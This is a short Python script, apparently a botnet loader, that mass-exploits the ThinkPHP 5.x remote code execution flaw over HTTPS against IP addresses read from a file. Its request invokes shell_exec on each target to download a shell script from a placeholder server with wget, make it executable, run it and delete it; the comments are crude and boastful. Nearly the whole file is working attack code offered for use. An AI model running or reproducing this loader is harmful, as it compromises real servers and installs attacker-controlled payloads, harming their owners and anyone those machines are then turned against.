#!/usr/bin/python
# ThinkPHP 5x - Remote Code Execution ( SSL VERSION )
# Scan on port 443 for more results the original version of that exploit / loader is fucking bullshit
# Modified by vbrxmr the your daddy
import threading
import socket
import ssl
import time
import sys
info = open(str(sys.argv[1]),'a+')
class thinkphp(threading.Thread):
def __init__(self, ip):
threading.Thread.__init__(self)
self.ip = str(ip).rstrip('\n')
def run(self):
try:
request = "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd /tmp; wget http://YOUR.SERVER.IP/bins/vbrxmr.sh; chmod 777 vbrxmr.sh; sh vbrxmr.sh; rm -rf vbrxmr.sh' HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: chokemedaddy/1.0\r\n\r\n" # payload stage
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = ssl.wrap_socket(sock)
ssl_sock.connect((self.ip, 443)) # https port for the socket connection do not change this moron
ssl_sock.sendall(request.encode('utf-8')) # some encoding
ssl_sock.close()
except Exception as e:
print(e)
return
for ip in info:
try:
time.sleep(0.01)
thinkphp(ip).start()
except:
pass